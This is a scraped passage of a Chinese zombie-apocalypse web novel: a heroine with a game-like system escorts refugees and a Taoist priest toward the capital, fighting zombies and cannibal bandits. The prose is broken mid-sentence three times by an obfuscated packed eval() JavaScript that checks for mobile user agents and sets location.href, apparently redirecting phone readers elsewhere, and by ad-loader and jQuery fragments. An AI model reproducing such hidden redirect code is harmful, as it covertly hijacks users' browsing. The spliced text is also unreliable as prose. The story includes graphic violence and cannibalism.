话音刚落,身后响起一连串密集的脚步声,被吓在原地的乌泱泱难民跑了过来。 祁母喘着粗气,惊道:“安哥,不,不好了,屋子里头的东西出来了!” 咚咚咚,脚步声静下来后,一连串沉闷的撞击声响起,那声音就仿佛是,有什么东西掀开了沉重的棺材板,然后—— 站了起来。 小道士脸色大变,他强撑着从地上爬起来,然后挎起破破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565855|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂烂的褡裢,撒腿就跑。 想了想他又扭头扬起嗓子喊道:“小兄弟,管你们死人活人,这地上有墨斗线,只要你们能跨过来,就跟着俺一起逃命吧。这村子出事了,再不逃就要命了!” “走。” 祁安安脸色一沉,抓着土豆雷和一把黄符,掩护着难民往外头冲。 一行人冲过,地面的墨斗线只被飞扬起的灰土盖住些,没有别的变化。 “快走快走。” 小道士体力不支,最先开跑却慢慢落在了后头,不得已他又一脸肉痛的扔出几张黄符。 “慢点儿,你们也等等我,别扔我一个人喂僵尸啊!” 祁安安看他跑得一步三喘实在费劲,喊住蒋父把他扛起来带着跑。 一直到他们跑出去老远,她才壮着胆子扭头看了看,确实这一眼就让她胆战心惊。 ——郝家村被一道浓到极致的黑气笼罩。 一道道僵直的身影,伸出胳膊搭着前一个“人”的肩膀,整齐划一地蹦了出来。 他们站在墨斗线里,怨毒又不甘地死死盯着祁安安一行人。 看见这一幕,所有人都打心底里生出一阵恐惧。难民们也不管晒和渴了,铆足了劲拼命往前跑。 加速行进下,一行人在太阳西陲的时候,终于赶到了另一个破败的小村子。 在小道士点头确认后,难民们才壮着胆子走了进去。 这里还有不少人类生活过的痕迹,过了一会儿还有人在村里发现了个半干的水井。难民们顿时松了口气,起码今晚有房住有水喝,也是有了着落。 趁着还有天光,各家各户纷纷烧起火来,先把晚饭对付了。 祁家今天的晚餐是野菜刀削面。 虽然闺女说老神仙给的食物够吃,但祁母总想着能省则省,跟着女人们一起去附近的田里薅了一大把野菜。 她找了个背风的地方升起火。先在小锅里把肉炒香,然后加入番茄,炒出汁水后添上清水,再拿起菜刀,把醒好的面团削成一根根面条。 祁母的刀法不错,削面如行云流水,看着都觉得赏心悦目。 最后快出锅的时候,再加入洗好的野菜,一锅野菜刀削面就做好了。 她端起碗正准备分饭,祁安安眼睛一撇,那道士不知什么时候厚着脸皮蹭了过来,正幽幽地盯着热气腾腾的砂锅。 祁安安杀气腾腾的瞪过去。 “嘿嘿,”脸色煞白的道士干笑两声,“这位兄弟,相逢即是有缘,能否施舍给某一碗饭食?” “看在……”他声音弱了些,“看在俺救了你们的份上……” “你是什么来历?”祁安安不差这一碗饭,但有些事却是要问清楚。 道士好脾气地乖巧回复:“在下张真,是龙虎山第三十九代弟子。天下大乱,我道门下山扶正除恶,只是我学艺不精,在郝家村着了道。” 25. 第 25 章 祁安安若有所思的点点头,然后把祁母盛好的饭递给了张术真一碗。 在郝家村熬了几天几夜,张术真统共就啃了点包袱里带的干粮,眼下一碗色香味俱全的饭端到面前,他还没说话,肚子里就已经打了雷。 谢了一声,他立马接过碗,拿起筷子呼噜呼噜吃了起来。 面条筋道,汤汁浓郁,再配上多多的油泼辣子和醋,张术真闷着头也不嫌热飞快干完了两大碗。 放下碗他眨巴眨巴眼睛看着一滴不剩的空锅,再看看祁安安,意思很明显:他还没吃饱。 祁安安又拿出来一个烧饼,张术真乐呵呵地接过,用烧饼夹着油泼辣子,吃了一个又一个。 祁晖坐在旁边给他记着数:“一个,两个,三个……五个!” 两碗饭,五个大烧饼,大哥哥的饭量也太吓人了吧! 吃过饭,祁母带着祁晖去刷碗,张术真靠在块石头上,从树底下捡了块叶子,慢悠悠地扇风。 祁安安看他休息的差不多了,就继续挑起话头:“张道长,前些日子我从个老道手里买了几张符纸,您帮我掌掌眼看水平如何?” 说着,她拿出了几张在现实世界购买的符箓,那道士说有驱邪的,有护身的,有镇宅的。每样拿出来了一张,也是想看看张术真的水平。 提到自己的专业领域,张术真脸色认真许多,他接过符箓端详了片刻,然后胸有成竹地说:“依我看,这几张连我派守山道童的练手之作都算不上。笔锋晦涩,符纸粗糙,朱砂更是纯度不够,小兄弟花了多少银子,别是被骗了?” 祁安安心中一惊,这些符箓她在对付那只半毛僵的时候使用过,一张能造成300点伤害,也算好用,而在张术真口中,却不如守山小道童的练手之作? 若他所言是真,这岂不是个移动装备库? 赚了赚了! 她面色不显,“随手买的不值多少钱,道长小小年纪,便能有如此修为,实乃乱世之幸啊!” 张术真到底年纪小,又初出茅庐,被祁安安三两句吹捧,夸得飘飘欲仙,一下打开了话匣子。 他在怀里摸索,取出来一张皱巴巴的黄符,一脸得瑟:“符箓不是我的特长,但就这张,随手丢出去也够对付一头绿僵。若是时间足够,配合上特定的法器和阵法,飞僵也不是对付不了。” 祁母刷完碗回来了,她竖着耳朵听了半天,忍不住心里的好奇,开口问:“道长这么厉害,咋会在郝家村着了道?难不成那里头的东西比飞僵还凶险?” “这……”张术真脸色一红,悻悻地放下树叶:“……其实是个意外。” 他叹了口气,说道:“郝家村风水有问题,是个聚阴聚煞的险地,要是放任不管,假以时日绝对能孕育出个顶顶厉害的僵尸。我自然不能不管,只是封印阵法复杂,又费力又费时……” 他说着脸色有些羞赧:“第二天俺的干粮就没了,又不能离开,只能饿着肚子又撑了三天。” 祁安安:“……” 好离谱的原因,有点不敢相信是真的。 张术真小心翼翼地附在她耳边补充:“小兄弟,俺跟你说句实话。其实我不是学成下山,天下大旱,山里粮食也不多,我一个人的饭量顶三个人,顿顿吃不饱就偷偷跑出来了,没成想到了外头还是吃不饱,呜呜呜呜呜……” 张术真拉起袖子开始假哭,一边哭一边还从缝隙里悄悄瞄对面人的脸色。 祁安安哭笑不得:“我们打算往京城去……” 张术真立即斩钉截铁的接话:“我也要去京城!” 祁安安心中思索,僵尸在不停进化,这个世界的危险程度只会越来越高,张术真看着有点本事,带着他也不是不行。 “道长是个实在人,那我也直说,粮食我有,并且顿顿都能让你吃好吃饱。但我不养吃白饭的,你对我有什么用,能为我做点什么呢?” 张术真眼睛一亮,明显是心动了:“祁兄弟,只要饭管够,这一路上的僵尸,来一个我杀一个,来一群我杀一群,保管让他们灰飞烟灭。” 祁安安挑了挑眉,没说话,意思是筹码还不够。 张术真又想了想:“每十天我给你一张能对付绿僵的符箓。” “八天一张,我要对所有邪祟都有用的,不止僵尸。” 张术真面色发苦:“祁兄弟,能对付绿僵的符,拿出去卖至少值二十两银子!再说了,朱砂符纸现在都是紧俏货,都要不少钱呢。” 祁安安硬着声音:“张道长实力超群,这些低级符箓自然是手到擒来。要我看,这里离最近的城池还要四天路程,道长不吃不喝,试试这次会不会饿死?” “五天一张,先给符再管饭,不能再少了。” 说着,祁安安眼睛一闭,拒绝讨价还价。 张术真在树下纠结半天,过了好一阵子才肉疼的递过来一张黄符:“喏,五天的饭钱,我付了哦!” 祁安安接过符篆,笑吟吟地看他:“张道长果然是爽快人,咱们以后合作愉快!” “娘,以后多做一个人的饭!” 祁母爽快的应下。 最大的问题解决,张术真看着放松不少,祁安安顺势又提起了在路上遇见的半人半尸。 说他们皮肤僵硬刀枪不入,还保有神智,又说查看过几具尸体,都没有发现抓痕咬痕。 张术真听着眼神也不禁凝重起来,他思索片刻:“师父说过,取尸水炮制后加入饮食可以将活人慢慢转成僵尸。不过这样炼成的僵尸,虽然转化数量多,但只会变成最低等的紫僵,倒是不足为惧。” 祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612225|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安安却没有他想的乐观,又细细地问了如何防治,毕竟小屋里虽然食物管够,但饮用水撑不住这么多人的用量,还是要早做打算。 张术真想了想,大规模解毒的方子,需要的药材种类繁多,如果只是预防,那每日多食些糯米,不嫌麻烦的话,饮用水也可以用糯米过滤后再使用。 祁安安一一记下了,然后清点了一下小屋里的糯米存货,还有三十斤。 囤货时她的偏重主要在米面,糯米是作为杂粮去囤的,数量有点太少,得省着用了。 祁安安在心里反思了一下,下次囤货一定要既全又多。但小屋已经快被塞得爆满,不知道系统什么时候能给个机会,让它扩大一下面积。 两人又聊了很多,临睡前张术真沿着难民住的两座院子贴了不少符箓。 这一宿安然度过,第二天又是一大早就要起来赶路。 —— “你们看,前面有城墙,到怀州了!”蒋方虎一激动,声音就忍不住提高。 不过大家都是一样的心情,看见怀州就离京城不远,运气好说不定还能在这儿落脚,不用往前逃难。一行人赶紧加快脚步,想在天黑前到达。 快到怀州的时候,他们在路上遇见的难民越来越多,人类像蚂蚁一样挤满了官道,流民的队伍往前往后都看不到头。 祁安安带着的青州难民身体和精神面貌都相对不错,尤其是张术真,看着好像胖了几斤,尖下巴都圆润了一点。 有他在,这几天的路走得还算顺利。 阴煞气重的地方能提前避开,晚上偶尔碰到几只落单的僵尸,不用祁安安出手,他一道符扔过去,僵尸被烧的灰都不剩。 祁安安对他的一身本事很感兴趣,一路上都在不动声色地套话,但涉及宗门传承,张术真嘴巴异常紧,一句也不透露。 怀州是京城的最后一道屏障,守在天险上,是往西去的必经之路。 祁安安要到达京城,就必须在官道上老老实实地排队。 这一等就是两天,难民们免不了吃饭喝水,就算她提前交代过要小心低调。但仅仅是他们有食物这一点,就足够让不少人眼红。 这两天的日子过得并不平静,起初还只是夜里的小偷小摸,现在光天化日之下抢物杀人的事也层出不穷。 路上死的人越来越多,祁安安阻止了几次,在救下一个小女孩时,她感觉被人盯上了,是一伙十几人一行的壮年男人。 祁安安其实也早就注意到了这伙人,看着他们虽然跟其他流民一样脏兮兮破破烂烂的,可长得都高高大大,眼睛里冒着光,腰上也别着武器,一个个眼露凶光人多势众,非常不好惹。 祁安安下意识防备,谨慎的和他们保持着距离,并且安排了人轮流守夜。但到了晚上,危险还是来了。 26. 第 26 章 怀州作为京城的最后一道屏障,担负着重大的守卫责任。但叛军来势汹汹,三天下一城,十天破一州,所到之处势如破竹。 天灾加上人祸,流民越来越多,不少人想到京城去,或者在怀州落个脚也不错。 祁安安到来之前,不知道流民和官府达成了什么协议,为了遏制僵尸,怀州城外已经提前设立好了一大一小两个隔离区。 流民们被分为两类。想进入怀州城的先要展示自己的用处,或是钱财或是手艺,合格的进入小隔离区里,待够两天,没有出现异常,接受完全身检查后就可以登记户籍,然后入城。 另一种是去京城的,官兵们按顺序点够一定人数的流民进入大隔离区,两日之后没有异常就可以从怀州借道离开。 两个隔离区都用一人高的木头桩子围成了圈,边上厚厚地撒了糯米和黑狗血。 难民们太多,等待时间又久,隔离区外排出了长长的队伍。 祁安安这几日也趁机观察了。隔离区,与其说是隔离,倒不如说是一个大型僵尸培养皿。 官兵们对隔离区完全是放养态度,除了每日抬出一个水多米少的粥桶,表达朝廷并没有完全放弃流民。剩下的时间作用和吉祥物差不多,祁安安亲眼看到,有天夜里转化成功的僵尸在隔离区里大开杀戒,下面乱成一团,而城墙上的官兵正歪着脑袋打瞌睡,看都不看一眼。要不是那批人里有个能人,怕是几十号人都要全军覆没了。 祁安安看得心凉,能做的也只有加大守夜力度。 今晚的天阴沉沉的,又闷又热,总觉得要下一场大雨。祁安安眯上眼睛睡了没一会儿,突然心头一颤从梦里惊醒。 她转动眼睛往四周看了看,一切风平浪静,再往远处就连隔离区也没有大的动静。 不对! 她目光一凝,又快速扫了一遍,少了一个人。 祁晖呢?那么大个弟弟跑哪儿去了? 她先去问了守夜的两个人,一个说没看到,另一个张伞嘟囔着:“有啥好急的,半大的孩子还能丢了不成?说不定是找地方解手去,等一会儿就回来了。” 有人过来劝着,都是差不多的说辞,让她先别着急,再等等。 祁安安没什么表情的听着,心里却一个字都不信。祁晖是个很乖的孩子,别说夜里乱跑。自己跟他交代过这几天危险后,这孩子上厕所都要拉着张术真一起去。 所以深夜丢了,大概率是被人带走了,只希望下手的千万不是那群恶徒。 她抄起根火把递给蒋父,和他各自带着人分头去找。 “祁晖,我的儿!” 祁母扯着嗓子大喊,声音在夜色里显得格外的凄惶。 附近的地方都找遍了,还是没有祁晖的踪影,祁安安心下一沉,抱着最坏的打算朝恶徒的营地走了过去。 恶徒们也知道自己不受待见,营地扎在人群的最边边上,明明是深夜,却燃着篝火里三层外三层围了不少人,热闹非凡。 祁母心中的不安越来越大,她加快速度跑了过去,看到的一幕却让她目眦欲裂。 祁晖双眸紧闭被脱光衣服,放在了沾血的案板上。案板边上放着一把锋利的柴刀,不远处的火堆上,架着个咕噜咕噜不断沸腾的大锅。 一股肉香味弥漫在鼻尖,祁安安忍着恶心看了一眼,汤汁翻滚,沸腾上来的汤水卷着一截骨头,那赫然是人手的形状! 看见有人来了,恶徒们丝毫不慌,有个刀疤男走出来,拿起柴刀在祁晖身上比划了几下。 他狞笑道:“祁安是吧,年纪不大胆子不小,坏了我们不少事!今天兄弟们就来给你上一课,二选一,你的右手和你弟弟的命,决定吧。” “反正老子啃了这么多天的野菜,今天总得给锅里见点荤腥!” 说着说着一群男人禁不住都笑了起来,恶劣的目光在祁安安身上频频打转。他们也并不指望她能做出选择,但骨肉相残本来就是最好看的戏码。 “哥……” 被药翻了的祁晖好不容易掀起了眼皮,生死关头,他一张小脸吓得煞白,但也强撑着没吐出一句求饶。 祁安安咬紧嘴唇,眼底涌上浓郁的杀气。她没有回答,而是快速在这群人的脚下种植了一颗土豆雷,并把祁晖设置为了友方。 但没想到小小的土豆刚埋在土地里准备发芽,刀疤男就敏锐地发现了异常。 “这就是你的把戏?”他大着胆子,扔过去一把柴刀。 还未破土的土豆雷生命值很低,地面上那点微弱的凸起一下子消失。 祁安安眼神凝重了些,土豆雷她从未在这些人面前使用过,刀疤男是如何发现的? 对手一瞬间的尴尬,在刀疤男眼里就是失去了底牌,他笑容更深了些,“我改主意了,不用你做选择,这小子现在就得死!” 他高高举起柴刀,脸上带着痛快残忍的笑意。 没想到,祁安安在他的注视下居然也抬起了嘴角,紧接着刀疤男面前凭空出现了两颗樱桃。 红红的两颗,连在同一个小枝上,新鲜的,有生命力的小东西,看起来格外可爱。流民们没见过这种稀罕水果,一时间甚至有不少人都伸出手想去争抢。 下一秒,这颗水灵灵的小红果,“嘭”一下炸开。 人群里炸出无数道哀嚎,一阵阵黑烟带着蛋白质燃烧的味道散出来。恶徒们在瞬息之间完成了从有机物到无机物的转变。 这么大的威力,不愧是她花了五十积分才氪出来的【樱桃炸弹体验卡x1。】 【樱桃炸弹:可对2m×2m范围内敌人造成1000点爆炸伤害。】 瞬发,伤害超高,是个很好用的范围性伤害植物。 只可惜范围还是太小了,祁安安淡淡的视线扫过去,恶徒里还有两个站的远些的漏网之鱼,现在一个比一个脸色苍白浑身颤抖,一副见了鬼的模样。 她从小屋里抽出一把长刀走过去,干净利落地送他们上了西天。 “走吧,”她拿起还在淌血的长刀,然后背起祁晖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699683|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没什么表情的开口,“回去还有场恶仗呢。” —— 祁安安背着祁晖,在无数道别有深意的视线中慢慢回到了营地。 祁晖刚刚在案板上清醒了一下,然后就一直昏迷着。蒋父过来看了看,说这是拍花子的迷药,休息个一天人就能恢复过来了。祁母总算吃了个定心丸,泪水勉强止住。 营地里的气氛依旧很古怪,像有暗流在两波人之间悄悄涌动。祁安安突然站起来,淡淡的问:“为什么?” 什么为什么? 蒋方虎张张嘴刚想问,就被父亲拉住了。青州难民们倒是心知肚明,在她的气场下,有人羞愧的低下了头,也有人瞪着眼睛怼了回去。 “你还问我们为什么?都是同一个地方逃难出来的乡里乡亲,你家顿顿吃好喝好,甚至还有余粮救济这个道士,凭啥不能给俺们匀点?俺都三天没吃过干饭了!” “为富不仁!” “俺想去兰州的,她非要来京城……” 一声又一声的控诉指责,听到祁安安耳中真是觉得好笑。 她也真是呵笑着开口:“没记错的话,这一路是你们主动跟在我身边,我没有驱赶,反而还提供了庇护,对还是不对?” 人群里沉默了些。 “我自问对得起你们,也对得起良心。那我想问问另一个人。张伞张郎中,”她指向今晚守夜的男人,“你这么善良,前些日子有人上吐下泻差点要了命,怎么不见你发发慈悲?” 她又看向其他人:“今晚我弟弟的去向,我不信你们没有一个人晓得的。但你们全都不说,知不知道但凡我晚去一步,他就要被丢进汤锅里,尸骨不存!” “勾结恶人,心肠歹毒,你们枉为人,连牲口都不如!” 她冷冷地说完,然后提起还未清理的长刀,一步步走进难民堆里。 刀尖上的鲜血滴落下,盛开出一朵又一朵血色梅花。她一把扯出躲在人群里的张伞,不等他反抗就手起刀落,斩断了他一条右臂。 “这是我给你们最后的警告,再招惹我,不管老幼,我必全部斩尽杀绝!” 张伞在人群里痛哭哀嚎,祁安安转身挑起自家的扁担,找了处离青州人远远的营地,重新安置下来。 这段不远的路程里,她一直在想,事情是怎么变成这样的呢? 她在孤儿院待过,见识过阴暗,被收养后,也接收到了来自养父养母和不少人的善意。 祁安安也知道自己的性格在末日世界有些矛盾,她嫉恶如仇,却又不可避免会对弱者保有怜悯。 在逃难的这段日子里,她竭力表现出低调,并释放出了自己的善意。只是没想到贪心不足蛇吞象,难民们有人不满,甚至有人出卖了她。 不仅是配合掳走祁晖,那些人把土豆雷也告诉了恶徒。 如果不是还剩有积分,不敢去想今夜要如何血腥收场。她痛苦的按了按眉心,刚想要说些什么,却突然感受到大地在隐隐的震动。 是什么来了? 27. 第 27 章 “咱得赶紧离开这儿!” 祁安安当机立断,她集中精神辨别出了震动的方向,最后决定向西逃。 其他六人还在一头雾水,张术真动作倒快,他从怀里摸出几个纸折的物件撒出去,然后低低念了几声咒语。 这些小玩意瞬间变大成了纸马纸板车,“坐上也能省些腿脚。”他笑眯眯地说。 蒋父更是干脆,他看祁安安凝重的神色知道这回遇上的事儿不一般。立刻把手推车上的行李卸下来,不重要的扔掉,只留下最关键的粮食和自己的长刀。 一行人坐在板车上,张术真嘴里喃喃念着口诀,操纵它快速前行。天边的黑色更沉了些,月光竭力撒过去,照不透更照不清。 纸做的板车在荒野上来回颠簸,祁安安趁这会儿工夫赶快分发东西。 一人一把长刀,一包糯米,还有几张符纸。 “一会儿如果情况危急,他们先走,蒋叔和我留下来殿后。” “张道长,我们的家人就拜托你了……” 张术真睁开眼睛,口中咒语顿了一下。蒋父擦亮长刀,“我来殿后吧。” 祁安安扭头看了看,远处烟尘滚滚,大地的震感越来越强,她心中发苦,声音沉重:“蒋叔,现在不是逞强的时候。咱们一起抱团,千万不要分开,真到万不得已,就按我刚刚说的办。” “……” 沉默了一会儿,蒋父先点了点头,其他人也没多话。逃荒了半个月,大家的承受能力也都锻炼了出来,亲人之间虽然有不舍,但也知道现在不是拖后腿的时候,几人各自把分到的东西妥善放好,然后紧张的戒备着。 这时候,祁安安才终于看到了震动的来源。 卷起的尘土被马蹄踏平,一支装备精良的军队疾驰而来,他们身披甲胄,骑着骏马,挥舞的旗帜上是平王的标识。 不对。 她再定睛一看,并且打开系统切换成战斗模式。所有生物以血条方式呈现在眼前,最吓人的就是远处。粗长的血条密密麻麻叠成了马赛克,看得人眼花缭乱。 士兵里没有一个人血条低于5000,而打头的那个血条更是达到了惊人的9000! 祁安安看了看自己的血条,1500。 1500vs9000。 真要对上,那就是小怪兽碰上奥特曼,只有死路一条! 张术真自然也是看清了,他口中咒语一转,身下的板车立刻加快了速度,就像踩上了风火轮,在黄土高坡里一路哐里哐当的夺命奔逃。 这一跑动静就不小,好在张术真搞出来这玩意,长得实在是猎奇,尤其是前头拉车的纸马,白生生阴森森的,看着诡异又渗人,有想拦路的难民,看见就软了膝盖,楞是不敢多说一句话。 远处的战马离怀州越来越近了,在城外落脚的难民成为了第一批牺牲者。 “老天爷,那是什么东西!” “俺是良民,你们不能这么杀人!” “叛军……,不对,是僵尸来了,大家快逃啊!” 有人被吓软了腿,有人跑得飞快,也有人趁乱抢劫。 骚乱中有僵尸转化成功,大张着獠牙扑进人群里,一照面的功夫就伤了好几人。 人群里有个男人,耍着扁担条,狼狈地护住身后的妻儿。 他面前的是一只最低等的白僵,皮肤硬化,只能机械的蹦哒,男人费了好大一番劲,才和大儿子配合着,把镰刀捅进了僵尸的后背。 可惜不是致命伤,对方根本感受不到疼,甚至还伸出指甲,死死扣进了男人的肩头。 被他保护的妻儿们用菜刀石块狠狠砸向僵尸,换来的却只有男人愈发苍白的脸色。 同一时刻,一辆白色的板车颠簸着奔来,扔下一个小布包,同时燃烧的火把生生砸进僵尸的脑袋,焦臭味弥漫在鼻尖,僵尸痛苦的嘶吼着,死死扣进血肉里的力道松动,男人连忙挣扎出来。 “爹,快来看!” 小女儿惊喜地打开地上的布包,里面居然有一小捧糯米,不多,但足以救命! 男人想到刚刚的板车,扔出火把的是个不大的男孩,在他身旁有一老一少,提着长刀护法,虽然不如火焰来的快,但力气足够,低等的白僵,两刀就可以斩首。 “僵尸怕火,把火点起来!”祁安安扯着嗓子吆喝。 板车跑了一路,她的火把也扔了一路,低等的白僵、紫僵,还是惧怕火焰,他们的板车走到哪里,哪里的僵尸就少了一片。 那两个男人就一直守在少年身侧,帮他开路和处理扑上来的僵尸,被保护在中间的,是两个女人和一个孩子,也都没闲着,一刻不停地制作火把。 最前方看着像个道士,操控着板车奋力疾驰。这是一支攻守严密的队伍,男人怔怔看着这七个人,心里不由自主生出羡慕。 他带着家人一路逃难至今,和不少人结伴而行过,但乱世之中人心复杂,上一秒言笑晏晏,下一秒就能挥刀相向,这样团结一致,全身心交付的同伴,谁能不羡慕呢? 男人心中暗暗叹了口气,然后拿起火把,护着家人继续战斗起来。 离叛军较远的地方倒是还好,祁安安刚离开的营地,成了首当其冲的受害者。流民们在铁蹄和长刀下奔走哭嚎,却像割麦子般一片片倒下。 僵尸骑兵的队伍里,一脸病容的中年道士直勾勾看着远处的纸板车,眼中闪过一抹精光,他骑着头驴子缓缓上前,阴测测的开口:“大统领,流民里混进来个道士。” 僵尸统领嘴角扯出一个僵硬的笑:“平王有令,遇见……道士,格杀无论……,遇见有……本事的……道士,斩草除根!” 它声音有些断断续续,嗓子也干哑难听。道士眼中的嫌弃一闪而过,不过考虑到对方还只是毛僵,有这样说话的本事已经十分不易。若是它能完整流畅地表达出自己的意思,就不是毛僵而是飞僵了。 他也笑了:“修道之人的心脏可是大补之物,只缺这一颗,贫道就能为大统领炼出补天丹,祝您早日登临不化骨!” “明白,道长——,咯咯咯……有心了!” —— 板车离开了较为平坦的城门口,地形一下子变得复杂起来。大黑天晚上的夺命狂奔,压根就看不见路。全靠张术真惊人的反应速度。 “吁——”从一个陡峭山地的拐角转过去。 板子车上的人鼻子尖,就擦着坚硬的岩石而过。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“唰——”从另一条小路挤过去, 板车上的人全部往里使劲挤,生怕一不小心掉进黄土沟中。 “可算是安全了!”跑出怀州城外十里地,蒋方虎心有余悸的捶了捶胸口,直接瘫倒在父亲身上。 “不,还有东西要来了,快加速!” 祁安安话音刚落,后方崎岖的窄路上出现一支人马,六头僵尸,皮肤上长着长毛,血条都在5000以上。 跑在最前面那只离他们只有一丈之遥,僵尸挥起大刀,杀气扑面而来。 蒋父提刀去挡,勉强挡住了这一击。垂下来的右臂却在不受控制的发抖,他神情凝重,这只僵尸的强大超乎想象! 板车继续在狭窄的山路上奔逃,身后的僵尸还在穷追不舍,它们□□的马匹也被秘法炼成了僵尸马,猩红着双眼跑得飞快。 张术真往板车上贴了好几张符箓,僵尸扫过来的大刀被一道淡淡的光膜挡下,一行人心惊胆颤的躲在里面,板车又一个急转弯,前方居然是一条阔路! 这可咋整?要是真让僵尸追上来,他们怕是一个都没了活路。 危急关头,祁安安心念不断转动,她问:“板车速度还能再快一些吗?拉开10米,不,15米的距离就好!” 张术真深深的看了她一眼,然后咬破指尖,挤出两滴鲜血洒在纸马上,他的脸色迅速苍白,板车立即提速不少。 祁安安这边从小屋里找出一包50KG的面粉,用小刀划开后借助车速扔在了身后狭窄的小路上。 面粉洒落散出一道道白雾,僵尸马高高跃起前蹄,从容地跨过了这个不值一提的障碍物。 就是现在! 她点开系统面板,把刚刚抽到的火炬树桩,迅速放在了面粉的位置。 “砰!” 震山动地的一声巨响,方才奔逃出的窄路腾一下冒出熊熊火焰,伴随着不小的爆炸冲击力,地面陷落了一小段,僵尸们被火焰拦在路的那头,只能眼睁睁看着他们远远的扬长而去。 —— 一个月后,京城外。 祁安安一行人从附近的大山里钻出来,精神面貌倒是比逃难的时候好上不少。怀州陷落,怕是已经沦为了僵尸城,如今想到京城,就只能另辟蹊径,穿过茫茫群山。 深山里虽然没有僵尸祸患,但正值夏日,里头的虫蛇野兽可是一个不少,他们也是费了一番功夫才从里头走出来。 快到京城时,一行人找了棵枯树在下头歇脚,祁安安快速清点了一下自己的存货。 这次古代世界,她最大的收获绝对是结识了张术真,并且薅到了不少符箓。而且,想起小屋里记录了他画符过程的录像,祁安安更是忍不住偷乐。 虽然这段日子自己的临摹作品,被张术真批得一文不值,还直言她在道术上没有天赋,就算照猫画虎把形状描出来,也不过是一张废纸。 但,管他呢。 勤能补拙,她死缠烂打,张术真也教了些东西,说不定总有一天就见了成效呢。 现如今,京城近在咫尺,想起系统提到过的,结算积分按时间奖励,祁安安心里一阵激动。 总算是任务要完成了,说不定还能大赚一笔呢! 28. 第 28 章 为防京城有变故,一行人要做足准备。趁着歇脚的工夫,顺便把午饭也解决了。 祁晖在附近捡了些柴火,蒋方虎生火,祁母蒋母撸起袖子洗菜和面,一大锅有菜有肉的刀削面很快就做好了。 在林子里钻来钻去的这一个月,几家人早就不分你我,习惯了在一个锅里吃饭。 这顿饭做的丰盛,水灵灵的绿叶菜,新鲜的牛肉,还有他们没见过的虾子,全都不要钱,一般往锅里放。想着马上能离开,祁安安大气地拿出不少好食材,给大家都吃得眉开眼笑。 吃得满足,令几人更高兴的是,祁安安给予的信任。 她身上的不凡曾经努力掩饰过,却在相处时一点点展现在他们面前,这是已经把他们当做了很重要的亲人和朋友。被认可被信任的感觉,让每个人心里都舒服。 祁母蒋母脸上也带着笑容,一日三餐,对她们来说是每天琐碎的日常,但这么忙忙碌碌,恰恰就是说明她们在团队中是被需要的,是不会被放弃的。 她们心里有安全感,不是拖油瓶,也能出自己的一份力。 吃饱喝足,身体都调整到了最好的状态,祁安安脚下生风,目标明确的直冲不远处的京城。 昔日繁华的都城经历了战乱,满目疮痍。城墙倒了一半,房屋塌了不少,奇异的是,没见到人,不只是活人,就连尸体也没见着。 不过眼看任务完成在即,她也没心思去思考其中的异常。 几人一起跨进城门,祁安安心中泛起淡淡的不舍,再见了我的朋友们!回来了,我的空调手机和亲娘! “…………” “嗯?” 在城墙根下杵了半天,眼睛睁开又闭上,一分钟过去了,五分钟过去了,自己怎么还在原地? 难道是因为在太边边上,系统还没识别出来? 她不信邪,又抬脚往城里走了100米,这一次系统还是毫无动静。 “失联了?故障了?还是我的统没了?” 祁安安不信邪的把系统界面上每个功能都点了一遍,非常丝滑,没有任何卡顿,包括任务倒计时也在一分一秒的流逝。 可以确定,系统应该是没出问题。 那——难道是京城出了问题? 她垂下眼睑细细思索,心里有了个猜想,但需要验证。 —— 兵分两路,祁安安带着张术真往城里走,其他人则是退回城门口。 城里的街道有不少血迹,然而还是同样的问题,没有“人”。往前走了走,她耳尖的听到有个方位传来了声音。 “去看看。”她用眼神示意张术真。 道士捏紧了手里的符,祁安安拿出了土豆雷。两人轻手轻脚的一路走向了声音的来源,那是一座坊市。 曾经也许是京城里热闹繁华的地方,如今在遍地鲜血里繁华依旧。 食腐的大苍蝇“嗡嗡嗡”地乱飞,一只苍蝇落到祁安安的肩头,兴奋地搓了搓手。 膀大腰圆的屠夫们捆着围裙,穿着汗衫站在摊子前,切好的肉被挂在倒钩上,分门别类摆放好。一条条大腿挂在上面的货架上,很新鲜,有些还往下滴着血水。 祁安安鼻尖萦绕着的血腥味逐渐变浓,不仅仅是血腥味,还有浸入地面,腐烂变质的腥臭味。 靠近坊市口的一个摊主,磨快了刀开始干活,被他按在手下的是个面容凄苦的年轻女人,两颊深凹,四肢关节突出。 